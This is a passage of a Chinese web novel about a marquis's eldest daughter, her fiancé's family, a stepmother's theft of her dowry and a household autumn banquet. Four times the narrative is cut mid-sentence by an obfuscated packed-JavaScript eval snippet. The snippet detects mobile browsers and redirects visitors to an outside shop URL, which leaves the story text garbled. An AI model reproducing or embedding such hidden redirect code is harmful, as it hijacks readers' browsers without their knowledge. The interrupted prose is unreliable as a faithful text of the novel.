虽然在那穷山僻壤呆了这些年，可举手投足间，通身气派丝毫不输京中贵介子弟。 这实是出乎庄夫人的意料。没想到顾姝这丫头的未婚夫，竟是位如此品貌不俗的少年郎。 她不由心里酸溜溜的。只是想想眼前这人不过是个小校，父亲也不过是个四品武官，心中终于平衡了些，脸上笑意愈发亲切。夸赞了两句，便引着母子二人往内院而去。 几人边走边寒暄，又叙了郡望齿岁。韩氏却是比庄夫人大了六岁。于是二人便姐姐妹妹称呼起来。 顾家人早在厅中相候。 高家母子两个先给顾世衡见了礼，庄夫人这才唤了几个孩子过来，依着长幼次序行礼。 韩氏听着庄夫人介绍：“这是我们家大姑娘姝姐儿……” 她看着眼前的这姑娘，不由一怔，原本有些期待的心情微微沉了下去。 这顾家大姑娘样貌生得倒是不错，只是面色憔悴泛黄，神色恹恹，竟是一副病容。 韩氏不露痕迹的扫了顾家其他孩子，个个面色红润，神情熠熠。 她压下心中思绪，笑着亲自扶起行礼的顾姝，又将自己手上戴着的镯子捋下，给顾姝戴上，嘴上只道：“真真是个好孩子，我一看便觉得疼到心里去了。不愧是顾家养出的女儿，你看这气派这品貌，真是叫人喜欢得不行。” 顾姝知这是自己婆母，被她这样夸赞，害羞低头不语。 又听韩氏介绍：“这是我那不成器的儿子……” 随即便是一声轻朗的声音：“见过顾家大姑娘。” 顾姝的眼神顺着红色袍角上攀，便看见一张俊美的脸庞。 这人生得鼻梁挺拔，薄唇狭长。一双凤眸眼尾微挑。此时正嘴角含笑看着她。 两人眼神互撞，却见他笑意加深，更带了些说不尽的风流情意。 顾姝脸刷地红了，飞快低头行礼，退到一旁。 只是她心跳得实在厉害，激得喉头泛起一阵痒意，忍不住偏过头，拿帕子捂口，小声咳了两声。 那两声轻咳，落到韩氏耳里，却是声如惊雷。 不落痕迹地又扫了顾姝一眼，韩氏复露出笑脸，依次见过顾婕等人，又各有赠礼。 只这几人毕竟身份不同，礼物皆是由婆子捧着奉上，却不是韩氏亲自给了。只有顾嫤上前时，韩氏知道这是庄夫人亲女，格外夸奖了两句。 待见过礼，顾世衡便带着高晏去书房说话，只留韩氏与庄夫人并几个女孩子在花厅中叙话。 庄夫人与韩氏不过是初次见面，能聊得也不过是各自己风土人情，在外的见闻，并京中这些年的习俗罢了。二人都是善谈之人，又是姻亲之家，不过片刻，便极是亲热熟稔。 庄夫人因着心中有事，不免便试探起来：“不知道府上这回回京，将来可是要留在京中了？” 韩氏笑道：“唉，这倒是不知道呢。总归是看朝廷是怎么个安置罢。” 她又叹道：“若是能回京，自然是再好不过了。庄妹妹，我是实在在那山沟沟里待得腻烦透了。” 这抱怨显是真心实意。 庄夫人口上附合，只心中又添了几分隐忧。 因着两家关系非比寻常，中午，庄夫人硬是留着高家母子用过饭，这才依依不舍将人送走。 高家人前脚刚走，后面顾婕顾嫤两人便瞧着顾姝笑了起来。 顾姝被她们二人笑红了脸，啐道：“你们两个，弄什么鬼呢！” 顾婕掩口笑道：“恭喜大姐姐，觅得如意郎君！” 顾婕这话说得真心实意。她与顾姝亲厚，自然盼着顾姝婚事顺遂。如今见着高晏品貌不俗，实是从心底是为顾姝高兴。 顾嫤也是掩口而笑。 她虽与顾姝不睦，那高晏也是一表人才。但堂堂侯府嫡长女，却只嫁到四品武官家，那这桩姻缘，便没有任何叫人羡慕之处了。更何况想到顾姝要嫁到川西，顾嫤心底里便只有快意的，高晏便是生得再好，可要在那山沟沟里过一辈子，又有什么趣味？ 是以，顾嫤脸上的笑意也是真心实意。 再者，顾姝病体未愈，今日面色蜡黄，双眼无光。这可是头回见未婚夫与婆母，还不知道高家怎么看她呢！ 韩氏的心情确实说不上好。 一离了顾家，上了马车，她便忍不住跟儿子抱怨：“好好儿的，如何就病了？这可是头回见面。” 高晏回想顾姝模样，神色恹恹，眉眼间却别有一股病西施的风流情态，心中意动，笑道：“秋冬交替，生病也是常事。” 韩氏叹道：“我如何不知道这个道理。我只是担心，这顾大姑娘别是个天生体弱的……” 高晏不以为意：“那又如何。咱们要结亲的，本就是定远侯府，又不是顾大姑娘。”便是顾姝身体不好，高家也要把顾姝娶进门供起来。 韩氏却是替 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922725|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿子委屈：“我儿子这般人品，配个公主都使得，更不用提一个侯府嫡女了。” 她心念一动，道：“前天在四殿下府里，遇到了嘉平公主，还有她家姑娘，我瞧她们对你倒挺上心。” 高晏微微皱眉。嘉平公主那个女儿，生得貌寝，他实是不喜。便道：“母亲，与顾家的亲事早已定下，可是不好退亲的。” 这倒是。他们家，如今还得罪不起一位侯爷。韩氏心中更加不快。 只她性子多疑，忽想到一事，惊道：“不会是因为这顾姝天生体弱多病，难以生养，当年顾家才应下这门亲事罢？” 她越想越觉得有道理。 两家的婚事，当年不过是口头戏言。当年高家人进京跟顾家提及婚事，也只是试探而已，本也没指望亲事能成。谁知道顾侯竟真的答应了呢？ 当年只当是顾侯守信，遵从亡妻之念。可天底下哪有这么傻的人，愿意将自家嫡长女远嫁千里之外。 如今看来，怕是其中是别有内情！ 高晏面色也阴沉了下来。 他不介意娶个病秧子，却极厌恶被人这般戏弄欺骗。 马车里一时陷入安静，只听到车轮吱呀之声。 片刻之后，韩氏方道：“这么着吧，跟顾家的婚事，我们就暂时先不要对外说。咱们再多看看，若是顾家女真是有问题，这门婚事，便断不能要。” 她心疼地看着高晏：“婚姻大事，我可不能叫我儿子受委屈。” 高晏便安慰她：“母亲接下来还有许多事要操劳，我的事便且放在一旁罢。” 韩氏嗔他一眼：“你的婚事才是大事。若不是为着这桩婚约，我只怕早抱上孙子了。不过，你说得也对，近日里，家里头且有一堆事情要忙活呢！” 话是抱怨，语气里却是掩不住的得意。 高晏便笑道：“母亲先买几个人使唤罢。家里头乱糟糟的，我书房都没有个人收拾，很不成样子。” 韩氏白了他一眼：“你这孩子。你爹如今是个什么情形还不知道呢。万一又要叫咱们回川西，现在先去买一堆人算怎么回事？” 高晏笑道：“四殿下那里不是说了，这回留在京中定然不成问题的么。先买几个使唤，又不妨事。” 这话韩氏爱听。她脸上的喜色再掩盖不住，长长叹了一口气道：“唉，总算叫咱们熬出来了。旁的我也不敢想，只要能调回京中便行了。” 高晏倒是颇为自信：“母亲且放心。如今四殿下器重父亲，又有大姐姐帮衬，父亲的谋划定能成事。” 韩氏点点头。 高晏遂又道：“母亲只管放心买人使唤便是。” 韩氏伸手指他额头：“你这孩子，都要定亲了，也收收心罢。这里是京城，可不是那丹山，凡是都由着你。叫外头知道了，终究是不好。” 高晏满不在乎道：“不过都是些小事罢了。再者，母亲治家素来严整，家里的事，何尝叫外头知道过一点儿。” 韩氏素来宠溺这个儿子，再想想今日与顾大姑娘见面的情形，心中亦不是十分满意。犹豫片刻，到底点头应下。 9. 第 9 章 “姨娘与二妹妹怎么过来了？”顾姝起身迎接陈姨娘与顾婕，略带讶然。 陈姨娘便道：“你这病了几日都未曾好，我跟二姑娘来看看你。” 顾婕看了眼身边的绿萼。 绿萼便笑吟吟地挽了烟云烟霞的手：“我才买了几卷丝线，想打几个络子，只是那颜色总配不好。两位姐姐素来手巧，过来帮我看下如何？” 烟霞看了眼烟云，推脱道：“屋里这会子没有人伺候……” 绿萼笑道：“烟雨烟雯她俩不都在外头么。再者，这会儿日头好，咱们就在院子里挑色。便是有事，唤一声，便都听到了。” 烟霞便笑着应了，拉着烟云，一同去了院子里。 待三个丫头出去，顾姝方笑着嗔了顾婕一眼：“你啊，真是促狭。” 顾婕一笑，起身给三人倒了茶，又坐到椅子上，从果盘里捏了枚松子慢慢剥壳。 陈姨娘这才关切道：“大姑娘，今日身子可好些了？” 顾姝便道：“已是无碍，就还觉着有些发虚，想来再休息个一天，便就无事了。” 陈姨娘这才放心，只她想得多，不免有些担心：“唉，也是不巧，偏就高家人来的时候病了。高家人可别有什么想法罢！” 顾婕手里剥着松子，不在意道：“人吃五谷杂粮，生病也是常事。大姐姐身体康健，后面还要来往，时间长了，自然就知道了。姨娘不必担心。” 她看了眼顾姝，将余下的话咽在了肚子里。 侯府嫡女肯下嫁高家，莫说大姐姐身体没问题，便是有问题，高家也只会恭恭敬敬把大姐姐迎进门。 顾姝想起今日见到高晏的情形，他眼睛里分明只有惊艳与喜欢。心里不由升起一股甜意，低声道：“我瞧高太太与高公子都还和气，当是不会多想。” 她又问陈姨娘：“怎么今日竟跟二妹妹一起来我院子里了？”陈姨娘可是极少与顾婕一起来看她的。 不待陈姨娘回答，顾婕便道：“我劝姨娘同我一起来的。方才白姨娘跟四妹妹都过来了，我跟姨娘一起来，也属正常。再者”， 顾婕冲顾姝笑了笑：“再者，高家人都来了，大姐姐都要成亲了，也毋需那般小心谨慎了。” 顾姝被她笑得脸一红，又瞪了顾婕一眼。 其实抛开顾婕话中调侃之意，顾姝还是很赞同她的话的，姨娘还是太过谨慎了些。 这是她自已的家，侯爷是她的亲生父亲。自已家里，哪需要那般小心谨慎了。 只姨娘也的确是关心爱护她。顾姝笑道：“姨娘是为了我好，我都明白的。” 顾婕将一颗松子仁塞进嘴里，笑道：“这回见着大姐夫的人，姨娘可算是放心了。” 陈姨娘脸上的喜意再藏不住。 家世且不说，这高晏生得可实在是好。单凭这一条，旁的便都不算什么了。 她笑道：“高公子这品貌，倒是跟大姑娘极般配。” 想了想，她又喜滋滋道：“高家这回进京，必就是为着婚事而来。大姑娘婚事也该准备起来了。” 她看向顾姝：“就是不知道大姑娘的嫁妆，是怎么安排的。” 几人方才提到高晏，顾姝便有些害羞，见陈姨娘又说嫁妆，更是不好意思：“姨娘怎么忽然说起这个？” 毕竟是十几岁的少女，谈及成亲论嫁之事，难免羞涩。 陈姨娘便嗔了她一眼：“自然是要说的。成家过日子，处处离不得柴米油盐。这可是极要紧的事情。” 顾婕也道：“是呢。这是正经事，是该好生准备的。” 陈姨娘便又问顾姝：“你如今年岁也不小了，侯爷可曾跟你说过嫁妆之事？” 顾姝轻轻摇头：“不曾。” 陈姨娘便又追问：“那你母亲的嫁妆，侯爷总该跟你说过罢？” 顾姝点点头：“父亲倒提过一两次。说是母亲当年带来颇多嫁妆。后来因着外祖家出事，母亲便变卖了一些支应外祖家。还留了一些物件，在家中库房里。” 陈姨娘的面色当即就变了。 她欲言又止，终是深吸了口气，耐住性子道：“侯爷这话，实是没有道理。当年，周家遭变，老国公入狱，夫人便拿了三万两银子出去，一万是嫁妆单子上的压箱银子，两万是夫人的私房。舅爷当时收了，后来老国公被判流放，舅爷便又将夫人的银子退还了，道自已尚有余财。夫人不肯要。推让之下，舅爷便只拿走一万两。又将那两万两退还。这便是夫人留的那两万两的由来。” “是以，夫人统共是往娘家拿了一万两银子，至于变卖家财什么的，根本是子虚乌有之事。 一则，国公府虽然被抄家，可也只是浮财，田地铺子还是在的。便是要变卖产业，也用不着夫人典卖嫁妆；再者，当时京中勋贵倒了好些，那时候处置家业的极多，一个月间，也做不了什么事。夫人的嫁妆，除去那一万两，其他都好好儿地在顾家呢。” 顾姝迟疑道：“父亲与祖母都是长辈，却是没有必要骗我的。怕不是中间有什么误会罢？” 怎么会没有必要？那是七万两银子！多少人，一辈子身家放在一起，也换不来七百两银子，何况是七万两。 陈姨娘看着顾姝，一时不知该说什么才好。 这孩子，从小养在她祖母身边，自幼便被顾老夫人教养得循规蹈矩，恪守闺训。 顾老夫人也果然人老成精，深谋远虑。瞧瞧，大姑娘如今多么孝顺知礼。 陈姨娘心里便有许多话想说，也知道，顾侯爷终究是大姑娘的亲生父亲。大姑娘与自已再亲近，也抵不过父女亲缘。 疏不间亲。这个道理陈姨娘懂。是以，她从来只让顾姝小心行事，不在她跟前多言是非。 陈姨娘遂不再多言，只道：“既是如此，姑娘是嫡出大姑娘，无论夫人的嫁妆在不在，想来侯爷不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922726|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亏待了姑娘的。” 果然这话便合了顾姝的意，她露出个微笑：“姨娘说的是，父亲自然不会亏待我。姨娘不必替我担心的。” 陈姨娘不由苦笑，只好又劝顾姝：“虽说如此，大姑娘平互素里行事还是要格外小心，一定要小心提防旁人。” 顾姝不由抚额：“是的，姨娘，我记下了。一定不能轻信。身边的丫头，除了烟霞，旁的都不可相信。” 陈姨娘一笑，道：“我知道，姑娘嫌我罗嗦，只是，小心驶得万年船。谨慎些，总不会有错。” 顾姝心中一动。陈姨娘这话，却真叫她想起一事。 她这回生病，总觉得有些蹊跷。头天夜里，似是迷迷糊糊被窗户的声音吵醒。后头睡觉时，又总觉得枕边寒气颇重。 但第二天隐隐约想起来，再看床头时，又与平日一样，无甚异常。 想来是自已多心了。烟云一个丫头，哪里来的胆子暗害自已。 顾姝抛开思绪，笑道：“姨娘真替我操心，不如去叫人打听下高家。” 陈姨娘一怔：“高家？” 顾姝点点头：“是高家。” 她知道自己方才那些话，是有些伤陈姨娘的心的。虽然她相信祖母父亲待自已的??犊之心。可也知道，姨娘说这话，归根到底，是为了她着想。 两人相处多年，纵使陈姨娘有些话顾姝不赞同，但姨娘待她一片赤诚，是再没有假的。顾姝实不想让陈姨娘觉着心寒。 故而，虽然有些害羞，但顾姝还是道：“既是，既是要嫁到他们家，那我总得知道一下，高家亲族有哪些，门风如何，那高公子日常处事，品性如何罢？” 其实若她母亲在，做母亲的，定然会替她打听清楚这些。只现在，却是不能指望庄夫人了。父亲虽然疼爱自己，可他毕竟公务繁忙，自己也不好拿这些事去烦扰他。也只能拜托陈姨娘了。再者，姨娘有了事情做，也就不会整日替自己操心了。 陈姨娘明白了顾姝的意思，心中果然欢喜。 只是这欢喜，却是跟顾姝想的不同：自家这大姑娘，虽然有些时候有些认死理，拗性子，可是到底还是有成算的，不曾完全被养成个呆子。 她当即打下包票：“大姑娘放心，这事儿包在我身上。一定将高家的事情仔仔细细查个清楚。” 见她这般，顾姝反而赶紧安慰她：“姨娘，行事还是得小心些，莫叫人察觉到什么，那就不好看了。再者，也不需着急，咱们慢慢打听着便是。” 陈姨娘笑道：“大姑娘，正该趁这个时候打听才是。高家人才进京，少不得要添置家当，修整宅第，那便少不了与外头打交道。这正是打听他们家事的好时候。待到他家里安顿下来，门风一肃，再想打听，可就不容易了！” 她一拍巴掌：“听说高家还是立了功进京的，不知道这回封赏如何。若是高大人能升职调回京城，那可真是谢天谢地了！” 10. 第 10 章 高大人的封赏究竟如何，莫说是陈姨娘，便是顾侯与庄夫人，也都颇为关注。 两天之后，便传来一个令人震惊的消息：高家，竟然被封了忠毅伯！ “爵位何等尊贵紧要，那高家是立下了什么样的功劳，还能得个伯位？” 庄夫人实在是难掩震惊。 顾世衡显然也是出乎意料。只是与庄夫人不同，他对这个消息，倒是高兴居多。 “这其间的缘故，说起来也简单，根子还是在十几年前的旧事上。” 当今天子少年风流，潜邸时便欲娶魏氏女为正妃，只是先帝不许，以王氏出身名门，更有母仪天下的气度为由，立王氏为太子妃，魏氏为太子良媛。待太子登基后，改年号为元亨，立王氏为后，魏氏为贤妃。只是元亨帝待王皇后情份平平，却是十分宠爱魏贤妃。 王皇后育有一子，既嫡且长，元亨帝登基后便被立为太子。二皇子早夭。三皇子，二公主为魏氏所出，四皇子生母早亡，母族不显。五皇子为沈良嫔出。六皇子为杜昭仪出。 元亨八年，魏贤妃病重，太医亦是查不出原因。皇后宫中便有宫人告密，道皇后行巫蛊事。后来果然从中宫搜出巫蛊人偶。 天子震怒，太子为救皇后，言一切皆自己所为，自刎而死。之后皇后便被幽禁冷宫，两三个月便暴病而亡。 此事疑点重重。堂堂国朝储君，怎么会行此邪祟之事？朝野上下一时群情激愤。为太子与皇后鸣冤者甚多，尤其皇后出身梁国公府，而太子妃出身信安侯，不少勋贵人家亦是替皇后太子抱不平。 奈何当时皇帝喜服金丹，性情极是狂暴执拗，不顾大臣劝谏，先是诛了皇后与太子妃母家。后又抄了梁国公府与信安侯姻亲之家。 勇毅侯高景川曾任太子护卫军统领，为太子喊冤，被夺爵贬至川西丹山。 便是定远侯的元配夫人周氏的娘家，成国公府，因与皇后娘家有亲，不顾皇帝盛怒，仍是坚持上表劝谏，终是被夺爵发配边关。 皇帝却还不肯罢休，待魏氏病好之后，便要立魏贤妃为后。朝中大臣虽然不敢再替太子喊冤，但除贤妃亲信外，几乎全部反对立贤妃为后，称其诬陷皇后，谋害太子，为人歹毒，不配为一国之后。 因反对者声众，元亨帝只得作罢。但魏贤妃在后宫一手遮天，朝野为之侧目。 孰料两年之后，元亨帝服食金丹有误，差点丧命，太医九死一生才将人救回。大臣力劝皇帝，勿要再信道人之言，服食金丹。经此一遭，皇帝自己也颇为惊惧，斩杀了几个道人，自己也不敢再吃金丹。 如此，戒了金丹，元亨帝的神智竟是渐渐清明许多。许是意识到太子之事有内情，渐渐疏远魏氏，开始宠爱杜昭仪，又格外看重杜昭仪所出的六皇子。群臣对此倒是乐见其成。 然杜昭仪为人少远见近功利，见皇帝年高，而魏妃势大，为保六皇子立太子。元亨十三年，杜昭仪竟使人揭发太子巫蛊一事，乃是魏贤妃构陷。 魏贤妃早已无宠，见大难临头，竟欲与三皇子发动宫变，行刺皇帝。混乱中，杜昭仪被杀，六皇子受了重伤致残。而事败之后，魏氏自裁，三皇子伏诛。 经此一乱，元亨帝亦是元气大损。而剩余诸皇子中，四皇子居长，且无母族。极合皇帝之意，之后便开始叫四皇子参与政事。 这些前情庄夫人亦是知晓，顾世衡也不多说，只是叹道：“因着先皇后巫蛊案一事，近年来，不知哪里传来的风声，道陛下有此行为，非是宠爱魏妃，实是忌惮朝中勋贵重臣，不过是借着巫蛊案一事，清除朝中勋贵元老罢了。不然，何以劝诫的文武大臣那么多，文臣都无大事，反而是勋贵重臣中，没了两个国公，三个侯爵，两个伯爵？国朝极重爵位，便立国之时，也不过就四位国公，十九位侯爵，七位伯爵罢了。” 想想自家当年，也差点被牵连进去，定远侯长长叹了口气，道：“这话虽然没根没底，可到底是传起来了。想是陛下也听到些风声，便借着高家一事，重赏功臣，重新封他个忠毅伯，以安勋贵元老的心。” 庄夫人心里一时五味杂陈。 从前高家不过是四品武职，又是在川西那边夷之地，她并不将高家放在心上。谁能想到，高家竟还有一飞冲天的时候？ 却听顾世衡又感慨道：“高家能有今日，虽说是机缘巧合之故，可高家自己，也是筹谋已久。你可知道，早在四年前，高家便往四皇子府里，送了个女儿过去？” 庄夫人这回是结结实实吃了一惊：“四年前？就是那回高家上门拜访那年？” 顾世衡点点头：“正是。当时只当高家是回京叙职，谁曾想还做了这样一件大事，还将众人都瞒得滴水不露。” 实在没有想到，高家竟如此有魄力，早几年前就搭上了四殿下的门路。陛下身体不好，朝中之事已多半交付给四殿下，如今四殿下已是隐隐有储君之像，高家的将来，已不容小觑。 当年高家人上门求亲，自己不过顺水推舟，将女儿远嫁罢了，实未有别的指望。却不曾想，当年随意一举动，如今竟给自己在朝中得一强援。 比之一个在川西的参将亲家，自然是有个能得新皇宠眷的伯府亲家，对自己更为有利。至于旁的，倒是无关紧要了。 顾世衡得一伯爵姻亲，十分畅意，庄夫人的心情却是不同。 她一直没将高家当回事，哪里想得到，高景川竟如此有手腕，不声不响地，就给自家挣了个伯爵出来？ 她脸上温婉的笑容都有些僵了，张张口，下意识地问：“那既是封了伯爵，高家人，莫不是要留在京中了？” 顾世衡神态颇为轻松，显然是对此乐见其成的：“这不好说。只是高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922727|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家在川西经营了十多年，又立下如此大功，便是为了保全他，朝廷怕也不会再叫他继续待在川西。想来会在哪个卫所做个指挥使罢。” 这对庄夫人而言，却实在不是个什么好消息。她喃喃道：“留在京中？” 顾世衡并不在意庄夫人的神情，又嘱咐庄夫人：“府里秋宴，莫忘了给高家下帖子。另外，两家的婚事，也该张罗起来了。” 庄夫人张张嘴，脑子里诸般念头纷繁杂乱，竟是忘了自己要说什么，只得勉强笑道：“正该如此。” 高家，高家，怎么就能封了伯爵呢？这要如何是好？ 庄夫人实在是心烦意乱。便是顾世衡又抬脚去了厚德堂，她也没有再理会，自己坐在椅子上，想着顾姝的这桩婚事。 按说，顾姝这个继女，嫁得如何，实在不关她的事。嫁得不好，她还乐得看笑话。至于亲家如何，她并不在乎。山高水远，便是打秋风也登不上娘家的门。 若嫁得好，也于顾家有益，她的儿子将来承袭爵位，有个姻亲互为应援，也是好事。她纵是心中不喜，也无大碍。 可是，谁叫庄夫人另有隐忧呢？ 她自家娘家家世单薄，父亲不过是在吏部做个五品官儿。若不是她因缘际会，私下里结识了侯爷，单凭庄家家世，哪里能嫁到侯府这样的高门。 是以，嫁到顾家，她处处小心谨慎，如履薄冰，对着顾姝这个继女，也是轻易不敢得罪。也亏得自己行事稳妥，又生了府中唯一的男丁，如今才将位子坐稳。 老夫人过世前两年，侯爷便道顾姝一个小孩子家，当不得事，老夫人的身体也不好管事，便将从前顾姝母亲的嫁妆，交给她保管。 只是庄夫人却是没有想到，顾姝母亲留下的嫁妆，竟有如此之多。不算外头的商铺田地，单是那些金玉器具，珍玩摆件，便满满当当塞了两大屋子。 饶是庄夫人嫁到顾家，已是开了眼界，这些东西，仍是叫她迷花了眼睛。 虽然知道这些财货她不该伸手。可是这许多金银宝器放在眼前，又哪里挡得住这许多诱惑。 那时候，正好娘家又过来跟她叫穷。她不得已，从库中取了个多宝赤金麒麟拿去卖，竟足卖了六百多两。给了娘家四百两，自己还得了二百多两。 自那以后，庄夫人伸出去的手，便再收不回来了。 只是庄夫人也不在意。总归顾姝将来是要远嫁川西的，到时候，家里打发她三四千两银子，便是足够。难道她还能跟娘家理论不成？便是她敢，那高家还要攀着顾家这棵大树，又岂会容她胡闹？ 是以，庄夫人早将那库房里的东西，视作自己的所有物了。 只是凭她千算万算，也是没有想到，高家，竟能还有翻身发达的一日。且还封了伯爵，留任京中。 那顾姝将来的嫁妆要怎么办？ 11. 第 11 章 秋色渐重。府中高大的梧桐树一日比一日稀疏。园子里的藤萝蕉兰，也是日日由绿转黄。只各处新移栽的菊花，为府里装点了许多颜色。且庄夫人为着这次秋宴，颇费心力，不止花园，府中各院落亦是新添了许多花木。 这日一大清早，管花木的安婆子便来了兰葶院，笑嘻嘻地跟陈姨娘打招呼：“过几日府里宴客，新采买了些花木，分到各院子。有几棵大些的桂树不好搬，便叫了外院几个粗使帮着抬。跟姨娘先说一声，省得冲撞了姨娘！” 陈姨娘跟安婆子是很熟的，笑着点点她：“你这老婆子，说这话臊谁呢？姑娘们今儿上午做针线去了。就剩我们这些粗褶子老倭瓜，哪个怕什么冲撞！” 白姨娘听到动静，也从屋里出来，听陈姨娘这话粗鄙，不由皱了皱眉。 安婆子笑道：“那成，我现在便叫老樊带人进来。” 不消片刻，一个婆子便指挥着两个汉子，抬着花盆进来了。 一人多高的丹桂树，栽在三尺见方的圆瓷缸中。绑了绳子，架在两根扁担上，两个精壮汉子一前一后地杠着扁担，吭哧吭哧地抬进兰葶院。两个汉子上身的衣服原也该算是合身，只是如今却都被身上虬结的精肉撑得紧绷绷的。 陈姨娘瞧得津津有味。 领人进来的樊婆子走过来问她：“统共两棵丹桂树，姨娘瞧是放在哪里好？” 陈姨娘笑着随意一指：“摆在院子中间就成。” 樊婆子便领着两个杂役抬着花缸过去。刚将花缸放下，白姨娘便走了过来，皱眉指挥道：“莫要放在中间，瞧着突兀。就放在角落里，既雅致又不碍事……” 樊婆子便转头看陈姨娘。 陈姨娘摆摆手，示意她听白姨娘的。 白姨娘这人，自诩雅致。旁人的安排，她一概看不上，一定要按着自已的意思来。陈姨娘心宽，也不与她争这个。自已跟安婆子闲话：“前面这汉子倒生得不错。我瞧着也眼熟。好像在园子里见过一两回？” 安婆子点头：“你说的那个叫丁四罢。人长得不错，也能干。在咱们府里呆了七八年了罢！” 陈姨娘便捂嘴笑道：“那一身腱子肉，生得倒好！” 她同安婆子对视一眼，两人嘿嘿笑了起来。 白姨娘这边看着摆好的一盆桂花，听到陈姨娘二人的笑声，转身厌恶地扫了她一眼，不动声色地走到了另一侧。 陈姨娘恍然未觉，叽叽咕咕跟安婆子说些闲话。待到两株丹桂都摆好，安婆子便带着杂役要走，陈姨娘笑着送几人出去。 安婆子领人走在前头，陈姨娘与樊婆子便渐渐落在了后面。见四周无人在意，陈姨娘方小声对樊婆子道：“你这两日出去找下刘姐姐。叫她得空探探高家的事儿。” 樊婆子会意：“大姑娘的婆家？” 陈姨娘点头道：“是。他家才从川西过来，具体什么个情形，咱们是两眼一抹黑。先打听打听，心里也好有个数。” 她又道：“这还是大姑娘吩咐的。大姑娘年龄不大，做事倒还稳重，竟想到我前头去了。”话里还带着几分的得意与骄傲。 樊婆子笑道：“大姑娘做事是周全”，随即又稍稍提高了音量：“这阵子府里事多，大家伙都忙。等秋宴过了，姨娘再去园子里寻我说话。” 定远侯府出孝后第一场宴会，阖府上下重视非常。前后足足准备了一个多月，终于是到了正日子。 上午过了辰时之后，客人便陆续到来。一时间宝马香车，络绎不绝。 定远侯带着儿子，庄夫人带着四位姑娘，分别迎接前来的男客女客，将人迎到花园花厅内。 顾家四位姑娘，衣服款式皆是一样，只是颜色不同。 顾姝身着藕荷色小袄及裙子，只是褙子是秋香色，很是端庄稳重。顾婕身着天青色袄裙，淡蓝褙子，清新雅致。顾嫤则是身着蔷薇粉袄裙，玫红色褙子，整个人衬得极是娇俏动人。顾婵年龄尚小，穿着嫩黄色袄裙，浅绿色褙子，活泼可爱。 顾姝与顾婕看了顾嫤的衣裙，不由互视一眼，又移开了视线。 顾姝就知道庄夫人给顾嫤另备了衣料。 区区一块衣料，本不是什么值当费心的大事。只庄夫人既偏心亲生女儿，又想要搏好名声。于是每每便表面公平大度，发下料子叫几个人一同挑选，私底下又给顾嫤另留一份。 顾嫤亦是，明明不喜欢顾姝的东西，可为着那别扭的小心思，又总爱向顾姝讨要。只是真要到了，也是扔到一旁，再不多看一眼。 虽则顾姝是被祖母抚养长大，幼承庭训，最重规矩孝悌，可也难免暗自腹诽这对母女的行事。放着堂皇正道不走，却总私底下做些蝇营狗苟的小动作。 顾姝顾婕二人打了个眉眼官司，不管心中如何思量，皆是规规矩矩垂首侍立在庄夫人身后。 四个水葱般的姑娘一顺溜站在庄夫人后面，引得客人人不住夸赞。都道庄夫人会养姑娘，瞧顾家几位姑娘这气派、这品貌！ 庄夫人素来喜欢这露脸的场合，一面口中谦虚着，一边引着客人进了内院。 侯府宴客，向来是在花园内的花厅之中。花厅乃是前后穿堂的东西四间大屋。西边两间招待女客，由内院进来，穿过内花园，从花厅里侧进入西花厅。 东边两间招待男客，便由角门穿过花园，由花厅外侧进入东花厅。 如此，虽然都是在花厅，只是男客在东，女客在西，却是各不相扰。男客这边通往内院的门是锁上的，免得进了内院冲撞。通过外花园的门则都是大开着，宾客们无论男女，皆可去外花园游览。总归隔着不远，便有婆子丫环当值守着，也不怕出什么事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922728|192627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾家这花园子，占地既广，景致亦美，引得众人交口称赞。 与顾嫤交好的镇国将军府杜家的姑娘，杜云漾便羡慕道：“嫤妹妹，你家的花园子可真大。我家的园子便极小，宴客时便极是不便。唉，我家里人口又多，却不似你住的那般宽敞。” 顾嫤也颇为自得。 顾家祖上，是同开国皇帝一同打天下的。当时还为了救高祖皇帝，瘸了一腿，极得高祖皇帝信重。几个侯府之中，赏给顾家的宅子是最大的。这也是顾家人骄傲之处。 